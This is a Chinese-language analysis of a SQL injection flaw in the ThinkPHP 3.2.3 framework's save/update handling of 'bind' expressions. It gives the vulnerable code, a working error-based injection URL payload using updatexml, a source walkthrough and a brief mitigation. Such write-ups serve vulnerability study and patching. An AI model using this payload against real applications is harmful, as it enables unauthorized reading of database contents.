漏洞代码:
public function index(){ $condition['username']=I('username'); $data['password']=I('password'); $res=M('users')->where($condition)->save($data); dump($res); }
复现:
payload:
http://localhost/tp/tp3.2.3/?username[0]=bind&username[1]=0%20and%20(updatexml(1,concat(0x3a,(user())),1))%23&password=123
分析:
1、sava函数
1 public function save($data='',$options=array()) { 2 if(empty($data)) { 3 // 没有传递数据,获取当前数据对象的值 4 if(!empty($this->data)) { 5 $data = $this->data; 6 // 重置数据 7 $this->data = array(); 8 }else{ 9 $this->error = L('_DATA_TYPE_INVALID_'); 10 return false; 11 } 12 } 13 // 数据处理 14 $data = $this->_facade($data); 15 if(empty($data)){ 16 // 没有数据则不执行 17 $this->error = L('_DATA_TYPE_INVALID_'); 18 return false; 19 } 20 // 分析表达式 21 $options = $this->_parseOptions($options); 22 $pk = $this->getPk(); 23 if(!isset($options['where']) ) { 24 // 如果存在主键数据 则自动作为更新条件 25 if (is_string($pk) && isset($data[$pk])) { 26 $where[$pk] = $data[$pk]; 27 unset($data[$pk]); 28 } elseif (is_array($pk)) { 29 // 增加复合主键支持 30 foreach ($pk as $field) { 31 if(isset($data[$field])) { 32 $where[$field] = $data[$field]; 33 } else { 34 // 如果缺少复合主键数据则不执行 35 $this->error = L('_OPERATION_WRONG_'); 36 return false; 37 } 38 unset($data[$field]); 39 } 40 } 41 if(!isset($where)){ 42 // 如果没有任何更新条件则不执行 43 $this->error = L('_OPERATION_WRONG_'); 44 return false; 45 }else{ 46 $options['where'] = $where; 47 } 48 } 49 50 if(is_array($options['where']) && isset($options['where'][$pk])){ 51 $pkValue = $options['where'][$pk]; 52 } 53 if(false === $this->_before_update($data,$options)) { 54 return false; 55 } 56 $result = $this->db->update($data,$options); 57 if(false !== $result && is_numeric($result)) { 58 if(isset($pkValue)) $data[$pk] = $pkValue; 59 $this->_after_update($data,$options); 60 } 61 return $result; 62 }
2、update函数分析
1 public function update($data,$options) { 2 $this->model = $options['model']; 3 $this->parseBind(!empty($options['bind'])?$options['bind']:array()); 4 $table = $this->parseTable($options['table']); 5 $sql = 'UPDATE ' . $table . $this->parseSet($data); 6 if(strpos($table,',')){// 多表更新支持JOIN操作 7 $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:''); 8 } 9 $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:''); 10 if(!strpos($table,',')){ 11 // 单表更新支持order和lmit 12 $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'') 13 .$this->parseLimit(!empty($options['limit'])?$options['limit']:''); 14 } 15 $sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:''); 16 return $this->execute($sql,!empty($options['fetch_sql']) ? true : false); 17 }
第5行代码对$data中的password加上了=:符号以及$name也就是0,使变量sql变为
通过bindParam生成$this->bind变量为数组array(':0'=>'123')
然后通过第9行进入parseWhere函数
再通过parseWhereItem函数将导入的val变量也就是username中的索引0进行匹配,然后拼接
得到$whereStr为
得到sql语句为
3、execute函数分析
1 public function execute($str,$fetchSql=false) { 2 $this->initConnect(true); 3 if ( !$this->_linkID ) return false; 4 $this->queryStr = $str; 5 if(!empty($this->bind)){ 6 $that = $this; 7 $this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind)); 8 } 9 if($fetchSql){ 10 return $this->queryStr; 11 } 12 //释放前次的查询结果 13 if ( !empty($this->PDOStatement) ) $this->free(); 14 $this->executeTimes++; 15 N('db_write',1); // 兼容代码 16 // 记录开始执行时间 17 $this->debug(true); 18 $this->PDOStatement = $this->_linkID->prepare($str); 19 if(false === $this->PDOStatement) { 20 $this->error(); 21 return false; 22 } 23 foreach ($this->bind as $key => $val) { 24 if(is_array($val)){ 25 $this->PDOStatement->bindValue($key, $val[0], $val[1]); 26 }else{ 27 $this->PDOStatement->bindValue($key, $val); 28 } 29 } 30 $this->bind = array(); 31 try{ 32 $result = $this->PDOStatement->execute(); 33 // 调试结束 34 $this->debug(false); 35 if ( false === $result) { 36 $this->error(); 37 return false; 38 } else { 39 $this->numRows = $this->PDOStatement->rowCount(); 40 if(preg_match("/^\s*(INSERT\s+INTO|REPLACE\s+INTO)\s+/i", $str)) { 41 $this->lastInsID = $this->_linkID->lastInsertId(); 42 } 43 return $this->numRows; 44 } 45 }catch (\PDOException $e) { 46 $this->error(); 47 return false; 48 } 49 }
在第7行中正好将sql语句中的:0转换为123
为啥username[1]中开头的数字需要为0才能实现sql注入,因为在parseSet中$name变量的值为0并且$name会拼接在sql语句中形成一个=:0,虽然后面的:0是我们所控制的,因此但是需要将前面这个:0替换才能让sql语句运行,形成sql注入
防护:
过滤bind字符。